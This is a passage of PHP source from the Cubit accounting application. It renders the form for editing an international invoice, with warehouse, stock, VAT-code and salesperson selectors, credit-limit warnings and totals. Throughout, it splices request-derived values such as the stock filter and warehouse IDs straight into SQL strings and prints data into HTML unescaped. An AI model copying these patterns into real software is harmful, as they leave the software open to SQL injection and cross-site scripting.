$whs .= "<option value='{$wh['whid']}'>({$wh['whno']}) {$wh['whname']}</option>";
}
}
$whs .= "</select>";
# Get sales people
db_conn("exten");
$sql = "SELECT * FROM salespeople WHERE div = '" . USER_DIV . "' ORDER BY salesp ASC";
$salespRslt = db_exec($sql) or errDie("Unable to get sales people.");
if (pg_numrows($salespRslt) < 1) {
return "<li class='err'> There are no Sales People found in Cubit.</li>";
} else {
$salesps = "<select name='salespn'>";
while ($salesp = pg_fetch_array($salespRslt)) {
if ($salesp['salesp'] == $inv['salespn']) {
$sel = "selected";
} else {
$sel = "";
}
$salesps .= "<option value='{$salesp['salesp']}' {$sel}>{$salesp['salesp']}</option>";
}
$salesps .= "</select>";
}
# Days drop downs
$days = array("0" => "0", "7" => "7", "14" => "14", "30" => "30", "60" => "60", "90" => "90", "120" => "120");
$termssel = extlib_cpsel("terms", $days, $inv['terms']);
# Keep the charge vat option stable
if ($inv['chrgvat'] == "inc") {
$chin = "checked=yes";
$chex = "";
$chno = "";
} elseif ($inv['chrgvat'] == "exc") {
$chin = "";
$chex = "checked=yes";
$chno = "";
} else {
$chin = "";
$chex = "";
$chno = "checked=yes";
}
# Format date
list($o_year, $o_month, $o_day) = explode("-", $inv['odate']);
/* --- End Drop Downs --- */
/* --- Start Products Display --- */
# Select all products
$products = "\n\t\t<table " . TMPL_tblDflts . " width='100%'>\n\t\t\t<tr>\n\t\t\t\t<th>STORE</th>\n\t\t\t\t<th>ITEM NUMBER</th>\n\t\t\t\t<th>VAT CODE</th>\n\t\t\t\t<th>SERIAL NO.</th>\n\t\t\t\t<th>DESCRIPTION</th>\n\t\t\t\t<th>QTY</th>\n\t\t\t\t<th colspan='2'>UNIT PRICE</th>\n\t\t\t\t<th>UNIT DISCOUNT</th>\n\t\t\t\t<th>AMOUNT</th>\n\t\t\t\t<th>Remove</th>\n\t\t\t<tr>";
# get selected stock in this invoice
db_connect();
$sql = "SELECT * FROM inv_items WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$stkdRslt = db_exec($sql);
$i = 0;
$key = 0;
while ($stkd = pg_fetch_array($stkdRslt)) {
# Keep track of selected stock amounts
$amts[$i] = $stkd['amt'];
$i++;
# Get warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$stkd['whid']}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
# Get selected stock in this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE stkid = '{$stkd['stkid']}' AND div = '" . USER_DIV . "'";
$stkRslt = db_exec($sql);
$stk = pg_fetch_array($stkRslt);
# Serial number
if ($stk['serd'] == 'yes' && $inv['serd'] == 'n') {
$sers = ext_getavserials($stkd['stkid']);
$sernos = "<select class='width : 15' name='sernos[]'>";
foreach ($sers as $skey => $ser) {
$sernos .= "<option value='{$ser['serno']}'>{$ser['serno']}</option>";
}
$sernos .= "</select>";
} else {
$sernos = "<input type='hidden' name='sernos[]' value='{$stkd['serno']}'>{$stkd['serno']}";
}
# Input qty if not serialised
$qtyin = "<input type='text' size='3' name='qtys[]' value='{$stkd['qty']}'>";
if ($stk['serd'] == 'yes') {
$qtyin = "<input type='hidden' size='3' name='qtys[]' value='{$stkd['qty']}'>{$stkd['qty']}";
}
# check permissions
if (perm("invoice-unitcost-edit.php")) {
$viewcost = "<input type='text' size='8' name='unitcost[]' value='{$stkd['funitcost']}'>";
$cunitcost = "<input type='text' size='8' name='cunitcost[]' value='{$stkd['unitcost']}'>";
} else {
$viewcost = "<input type='hidden' size='8' name='unitcost[]' value='{$stkd['funitcost']}'>{$stkd['funitcost']}";
$cunitcost = "<input type='hidden' size='8' name='cunitcost[]' value='{$stkd['unitcost']}'>{$stkd['unitcost']}";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t<select name='vatcodes[]'>\n\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($stkd['vatcode'] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# Put in product
$products .= "\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td><input type='hidden' name='whids[]' value='{$stkd['whid']}'>{$wh['whname']}</td>\n\t\t\t\t<td><input type='hidden' name='stkids[]' value='{$stkd['stkid']}'><a href='#bottom' onclick='openwindow(\"stock-amt-det.php?stkid={$stk['stkid']}\")'>{$stk['stkcod']}</a></td>\n\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t<td>{$sernos}</td>\n\t\t\t\t<td>" . extlib_rstr($stk['stkdes'], 30) . "</td>\n\t\t\t\t<td>{$qtyin}</td>\n\t\t\t\t<td>" . CUR . " {$viewcost}</td>\n\t\t\t\t<td>{$inv['currency']} {$cunitcost}</td>\n\t\t\t\t<td>{$inv['currency']}<input type='text' size='4' name='disc[]' value='{$stkd['disc']}'> OR <input type='text' size='4' name='discp[]' value='{$stkd['discp']}' maxlength='5'>%</td>\n\t\t\t\t<td><input type='hidden' name='amt[]' value='{$stkd['amt']}'> {$inv['currency']} {$stkd['amt']}</td>\n\t\t\t\t<td><input type='checkbox' name='remprod[]' value='{$key}'><input type='hidden' name='SCROLL' value='yes'></td>\n\t\t\t</tr>";
$key++;
}
# Look above(remprod keys)
$keyy = $key;
# Look above(if i = 0 then there are no products)
if ($i == 0) {
$done = "";
} else {
$SCROLL = "yes";
}
# check if stock warehouse was selected
if (isset($whidss)) {
foreach ($whidss as $key => $whid) {
if (isset($stkidss[$key]) && $stkidss[$key] != "-S" && isset($cust['pricelist'])) {
# skip if not selected
if ($whid == "-S") {
continue;
}
# Get selected warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$whid}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
# Get selected stock in this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE stkid = '{$stkidss[$key]}' AND div = '" . USER_DIV . "' ORDER BY stkcod ASC";
$stkRslt = db_exec($sql);
$stk = pg_fetch_array($stkRslt);
if ($stk['serd'] == 'yes') {
$sers = ext_getavserials($stkidss[$key]);
$sernos = "<select class='width : 15'name='sernos[]' onChange='javascript:document.form.submit();'>";
foreach ($sers as $skey => $ser) {
$sernos .= "<option value='{$ser['serno']}'>{$ser['serno']}</option>";
}
$sernos .= "</select>";
} else {
$sernos = "<input type='hidden' name='sernos[]' value=''>";
}
# Get price from price list if it is set
if (isset($cust['pricelist'])) {
# get selected stock in this warehouse
db_conn("exten");
$sql = "SELECT price FROM plist_prices WHERE listid = '{$cust['pricelist']}' AND stkid = '{$stk['stkid']}' AND div = '" . USER_DIV . "'";
$plRslt = db_exec($sql);
if (pg_numrows($plRslt) > 0) {
$pl = pg_fetch_array($plRslt);
$stk['selamt'] = $pl['price'];
}
}
/* -- Start Some Checks -- */
# check if they are selling too much
if ($stk['units'] - $stk['alloc'] < $qtyss[$key]) {
if (!in_array($stk['stkid'], explode(",", $stkerr))) {
if ($stk['type'] != 'lab') {
$stkerr .= ",{$stk['stkid']}";
$error .= "<li class='err'>Warning : Item number <b>{$stk['stkcod']}</b> does not have enough items available.</li>";
}
}
}
/* -- End Some Checks -- */
# Calculate the Discount discount
if ($discs[$key] < 1) {
if ($discps[$key] > 0) {
$discs[$key] = round($discps[$key] / 100 * $stk['selamt'], 2);
}
} else {
$discps[$key] = round($discs[$key] * 100 / $stk['selamt'], 2);
}
# Calculate amount
$amt[$key] = $qtyss[$key] * ($stk['selamt'] - $discs[$key]);
$stk['cselamt'] = sprint($stk['selamt'] / $inv['xrate']);
# Input qty if not serialised
$qtyin = "<input type='text' size='3' name='qtys[]' value='{$qtyss[$key]}'>";
if ($stk['serd'] == 'yes') {
$qtyin = "<input type='hidden' size='3' name='qtys[]' value='{$qtyss[$key]}'>{$qtyss[$key]}";
}
// $stk['cselamt'] = sprint ($stk['cselamt']);
$stk['selamt'] = sprint($stk['selamt']);
# Check permissions
if (perm("invoice-unitcost-edit.php")) {
$viewcost = "<input type='text' size='8' name='unitcost[]' value='{$stk['selamt']}'>";
$cunitcost = "<input type='text' size='8' name='cunitcost[]' value='{$stk['cselamt']}'>";
} else {
$viewcost = "<input type='hidden' size='8' name='unitcost[]' value='{$stk['selamt']}'>{$stk['selamt']}";
$cunitcost = "<input type='hidden' size='8' name='cunitcost[]' value='{$stk['cselamt']}'>{$stk['cselamt']}";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t\t<select name='vatcodes[]'>\n\t\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($stk['vatcode'] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
$amt[$key] = sprint($amt[$key]);
# Put in selected warehouse and stock
$products .= "\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td><input type='hidden' name='whids[]' value='{$whid}'>{$wh['whname']}</td>\n\t\t\t\t\t\t<td><input type='hidden' name='stkids[]' value='{$stk['stkid']}'><a href='#bottom' onclick='openwindow(\"stock-amt-det.php?stkid={$stk['stkid']}\")'>{$stk['stkcod']}</a></td>\n\t\t\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t\t\t<td>{$sernos}</td>\n\t\t\t\t\t\t<td>" . extlib_rstr($stk['stkdes'], 30) . "</td>\n\t\t\t\t\t\t<td>{$qtyin}</td>\n\t\t\t\t\t\t<td>" . CUR . " {$viewcost}</td>\n\t\t\t\t\t\t<td>{$inv['currency']} {$cunitcost}</td>\n\t\t\t\t\t\t<td>{$inv['currency']} <input type='text' size='4' name='disc[]' value='{$discs[$key]}'> OR <input type='text' size='4' name='discp[]' value='{$discps[$key]}' maxlength='5'>%</td>\n\t\t\t\t\t\t<td><input type='hidden' name='amt[]' value='{$amt[$key]}'> {$inv['currency']} {$amt[$key]}</td>\n\t\t\t\t\t\t<td><input type='checkbox' name='remprod[]' value='{$keyy}'></td>\n\t\t\t\t\t</tr>";
$keyy++;
} else {
if (!isset($diffwhBtn)) {
# skip if not selected
if ($whid == "-S") {
continue;
}
# get warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$whid}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
if (isset($ria) && $ria != "") {
$len = strlen($ria);
$Wh = "AND lower(substr(stkcod,1,'{$len}'))=lower('{$ria}')";
} else {
$Wh = "";
$ria = "";
}
# get stock on this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE whid = '{$whid}' AND blocked = 'n' AND div = '" . USER_DIV . "' {$Wh} ORDER BY stkcod ASC";
$stkRslt = db_exec($sql) or errDie("Unable to retrieve stocks from database.");
if (pg_numrows($stkRslt) < 1) {
$error .= "<li class='err'>There are no stock items in the selected warehouse.";
continue;
}
if (pg_numrows($stkRslt) == 1) {
$ex = "selected";
} else {
$ex = "";
}
$stks = "<select class='width : 15'name='stkidss[]' onChange='javascript:document.form.submit();'>";
$stks .= "<option value='-S' disabled selected>Select Number</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
$stks .= "<option value='{$stk['stkid']}'>{$stk['stkcod']} (" . sprint3($stk['units'] - $stk['alloc']) . ")</option>";
}
$stks .= "</select> ";
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t\t\t<select name='vatcodess[]'>\n\t\t\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vd['del'] == "Yes") {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# put in drop down and warehouse
$products .= "\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td><input type='hidden' name='whidss[]' value='{$whid}'>{$wh['whname']}</td>\n\t\t\t\t\t\t\t<td>{$stks}</td>\n\t\t\t\t\t\t\t<td><input type='hidden' name='vatcodess' value='0'></td>\n\t\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t\t<td><input type='hidden' size='3' name='qtyss[]' value='1'>1</td>\n\t\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t\t<td>{$inv['currency']} <input type='text' size='4' name='discs[]' value='0'> OR <input type='text' size='4' name='discps[]' value='0' maxlength='5'>%</td>\n\t\t\t\t\t\t\t<td><input type='hidden' name='amts[]' value='0.00'>{$inv['currency']} 0.00</td>\n\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t</tr>";
}
}
}
} else {
if (!isset($diffwhBtn)) {
# check if setting exists
db_connect();
$sql = "SELECT value FROM set WHERE label = 'DEF_WH' AND div = '" . USER_DIV . "'";
$Rslt = db_exec($sql) or errDie("Unable to check database for existing settings.");
if (pg_numrows($Rslt) > 0) {
$set = pg_fetch_array($Rslt);
$whid = $set['value'];
if (isset($wtd)) {
$whid = $wtd;
}
# get selected warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$whid}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
if (isset($ria) && $ria != "") {
$len = strlen($ria);
$Wh = "AND lower(substr(stkcod,1,'{$len}'))=lower('{$ria}')";
} else {
$Wh = "";
$ria = "";
}
# get stock on this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE whid = '{$whid}' AND blocked = 'n' AND div = '" . USER_DIV . "' {$Wh} ORDER BY stkcod ASC";
$stkRslt = db_exec($sql) or errDie("Unable to retrieve stocks from database.");
if (pg_numrows($stkRslt) < 1) {
if (!isset($err)) {
$err = "";
}
$err .= "<li>There are no stock items in the selected store.</li>";
//ontinue;
}
$stks = "<select name='stkidss[]' onChange='javascript:document.form.submit();'>";
$stks .= "<option value='-S' disabled selected>Select Number</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
$stks .= "<option value='{$stk['stkid']}'>{$stk['stkcod']} (" . sprint3($stk['units'] - $stk['alloc']) . ")</option>";
}
$stks .= "</select> ";
$products .= "\n\t\t\t\t\t<input type='hidden' name='vatcodess[]' value=''>\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td><input type='hidden' name='whidss[]' value='{$whid}'>{$wh['whname']}</td>\n\t\t\t\t\t\t<td>{$stks}</td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td><input type='hidden' size='3' name='qtyss[]' value='1'>1</td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td>{$inv['currency']} <input type='text' size='4' name='discs[]' value='0'> OR <input type='text' size='4' name='discps[]' value='0' maxlength='5'>%</td>\n\t\t\t\t\t\t<td>{$inv['currency']} 0.00</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>";
} else {
$products .= "\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td>{$whs}</td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td>{$inv['currency']}<input type='text' size='4' name='discs[]' value='0'> OR <input type='text' size='4' name='discps[]' value='0' maxlength='5'>%</td>\n\t\t\t\t\t\t<td>{$inv['currency']} 0.00</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>";
}
}
}
/* -- start Listeners -- */
if (isset($diffwhBtn)) {
$products .= "\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>{$whs}</td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td>{$inv['currency']}<input type='text' size='4' name='discs[]' value='0'> OR <input type='text' size='4' name='discps[]' value='0' maxlength='5'>%</td>\n\t\t\t\t<td>{$inv['currency']} 0.00</td>\n\t\t\t\t<td></td>\n\t\t\t</tr>";
}
/* -- End Listeners -- */
$products .= "</table>";
/* --- End Products Display --- */
/* --- Start Some calculations --- */
# Calculate subtotal
$SUBTOT = sprint($inv['subtot']);
# Calculate tradediscm
if ($inv['traddisc'] > 0) {
$traddiscm = sprint($inv['traddisc'] / 100 * ($SUBTOT + $inv['delchrg']));
} else {
$traddiscm = "0.00";
}
$VATP = TAX_VAT;
# Calculate subtotal
$SUBTOT = sprint($inv['subtot']);
$VAT = sprint($inv['vat']);
$TOTAL = sprint($inv['total']);
$inv['delchrg'] = sprint($inv['delchrg']);
/* --- End Some calculations --- */
/*--- Start checks --- */
# check only if the customer is selected
if (isset($cusnum) && $cusnum != "-S") {
db_connect();
#check againg credit limit
if ($TOTAL + $cust['balance'] > $cust['credlimit']) {
$error .= "<li class='err'>Warning : Customers Credit limit of <b>{$inv['currency']} {$cust['credlimit']}</b> has been exceeded";
# Check permissions
if (!perm("invoice-limit-override.php")) {
$done = "";
}
}
$avcred = $cust['credlimit'] - $cust['balance'];
} else {
$avcred = "0.00";
}
/*--- Start checks --- */
$inv['delvat'] += 0;
if ($inv['delvat'] == 0) {
$Sl = "SELECT * FROM vatcodes WHERE del='Yes'";
$Ri = db_exec($Sl) or errDie("Unable to get data.");
$vd = pg_fetch_array($Ri);
$inv['delvat'] = $vd['id'];
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t<select name='delvat'>\n\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vd['id'] == $inv['delvat']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
db_conn('cubit');
$Sl = "SELECT * FROM settings WHERE constant='Delivery Note'";
$Ri = db_exec($Sl) or errDie("Unable to get settings.");
$data = pg_fetch_array($Ri);
if ($data['value'] == "Yes") {
$chp = "checked";
} else {
$chp = "";
}
if (!isset($showvat)) {
$showvat = TRUE;
}
if ($showvat == TRUE) {
$vat14 = AT14;
} else {
$vat14 = "";
}
if (!isset($stkerr)) {
$stkerr = "";
}
$avcred = sprint($avcred);
/* -- Final Layout -- */
$details = "\n\t\t<center>\n\t\t<h3>New International Invoice</h3>\n\t\t<form action='" . SELF . "' method='POST' name='form'>\n\t\t\t<input type='hidden' name='key' value='update'>\n\t\t\t<input type='hidden' name='invid' value='{$invid}'>\n\t\t\t<input type='hidden' name='letters' value='{$letters}'>\n\t\t\t<input type='hidden' name='stkerr' value='{$stkerr}'>\n\t\t\t<table " . TMPL_tblDflts . " width='95%'>\n\t\t\t\t<tr>\n\t\t\t\t\t<td valign='top' width='50%'>\n\t\t\t\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<th colspan='2'> Customer Details </th>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Department</td>\n\t\t\t\t\t\t\t\t<td valign='center'>{$dept['deptname']}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Account No.</td>\n\t\t\t\t\t\t\t\t<td valign='center'>{$cust['accno']}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Customer</td>\n\t\t\t\t\t\t\t\t<td valign='center'>{$customers}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td valign='top'>Customer Address</td>\n\t\t\t\t\t\t\t\t<td valign='center'>" . nl2br($cust['addr1']) . "</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Customer Order number</td>\n\t\t\t\t\t\t\t\t<td valign='center'><input type='text' size='10' name='cordno' value='{$inv['cordno']}'></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Customer Vat Number</td>\n\t\t\t\t\t\t\t\t<td>{$cust['vatnum']}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<th colspan='2'>Point of Sale</th>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Barcode</td>\n\t\t\t\t\t\t\t\t<td><input type='text' size='13' name='bar' value=''></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "' " . ass("Type the first letters of the stock code you are looking for.") . ">\n\t\t\t\t\t\t\t\t<td>Stock Filter</td>\n\t\t\t\t\t\t\t\t<td><input type='text' size='13' name='ria' value='{$ria}' onkeyup='javasript:predict()'></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Print Delivery Note</td>\n\t\t\t\t\t\t\t\t<td><input type='checkbox' name='printdel' {$chp}></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td valign='top' align='right' width='50%'>\n\t\t\t\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<th colspan='2'> Invoice Details </th>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Invoice No.</td>\n\t\t\t\t\t\t\t\t<td valign='center'>TI {$inv['invid']}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Proforma Inv No.</td>\n\t\t\t\t\t\t\t\t<td valign='center'><input type='text' size='5' name='docref' value='{$inv['docref']}'></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Sales Order No.</td>\n\t\t\t\t\t\t\t\t<td valign='center'><input type='text' size='5' name='ordno' value='{$inv['ordno']}'></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Foreign Currency</td>\n\t\t\t\t\t\t\t\t<td valign='center'>{$currs['symbol']} - {$currs['name']} Exchange rate " . CUR . " <input type='text' size='7' name='xrate' value='{$inv['xrate']}'></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>VAT Inclusive</td>\n\t\t\t\t\t\t\t\t<td valign='center'>Yes <input type='radio' size='7' name='chrgvat' value='inc' {$chin}> No<input type='radio' size='7' name='chrgvat' value='exc' {$chex}></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Terms</td>\n\t\t\t\t\t\t\t\t<td valign='center'>{$termssel} Days</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Sales Person</td>\n\t\t\t\t\t\t\t\t<td valign='center'>{$salesps}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Invoice Date</td>\n\t\t\t\t\t\t\t\t<td valign='center'>" . mkDateSelect("o", $o_year, $o_month, $o_day) . "</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Available Credit</td>\n\t\t\t\t\t\t\t\t<td>{$inv['currency']} {$avcred}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Trade Discount</td>\n\t\t\t\t\t\t\t\t<td valign='center'><input type='text' size='5' name='traddisc' value='{$inv['traddisc']}'>%</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Delivery Charge</td>\n\t\t\t\t\t\t\t\t<td valign='center'>{$inv['currency']}<input type='text' size='7' name='delchrg' value='{$inv['delchrg']}'>{$Vatcodes}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t<tr><td><br></td></tr>\n\t\t\t<tr><td colspan='2'>{$products}</td></tr>\n\t\t\t<tr>\n\t\t\t\t<td>\n\t\t\t\t\t<p>\n\t\t\t\t\t<table " . TMPL_tblDflts . " width='100%'>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th width='25%'>Quick Links</th>\n\t\t\t\t\t\t\t<th width='25%'>Comments</th>\n\t\t\t\t\t\t\t<td rowspan='5' valign='top' width='50%'>{$error}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td class='" . bg_class() . "'><a href='cust-credit-stockinv.php'>New Invoice</a></td>\n\t\t\t\t\t\t\t<td class='" . bg_class() . "' rowspan='4' align='center' valign='top'><textarea name='comm' rows='4' cols='20'>{$inv['comm']}</textarea></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td><a href='invoice-view.php'>View Invoices</a></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<script>document.write(getQuicklinkSpecial());</script>\n\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t\t<td align='right' valign='top'>\n\t\t\t\t\t<table " . TMPL_tblDflts . " width='50%'>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>SUBTOTAL</td>\n\t\t\t\t\t\t\t<td align='right'>{$inv['currency']} <input type='hidden' name='SUBTOT' value='{$SUBTOT}'>{$SUBTOT}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Trade Discount</td>\n\t\t\t\t\t\t\t<td align='right'>{$inv['currency']} {$inv['discount']}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Delivery Charge</td>\n\t\t\t\t\t\t\t<td align='right'>{$inv['currency']} {$inv['delivery']}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td><b>VAT {$vat14}</b></td>\n\t\t\t\t\t\t\t<td align='right'>{$inv['currency']} {$VAT}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<th>GRAND TOTAL</th>\n\t\t\t\t\t\t\t<td align='right'>{$inv['currency']} {$TOTAL}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td align='right'><input type='button' value='« Back' onClick='javascript:history.back()'> | <input name='diffwhBtn' type='submit' value='Different Store'> | <input name='addprodBtn' type='submit' value='Add Product'> | <input type='submit' name='saveBtn' value='Save'> </td>\n\t\t\t\t<td>| <input type='submit' name='upBtn' value='Update'>{$done}</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<a name='bottom'>\n\t\t</form>\n\t\t</center>";
return $details;
}
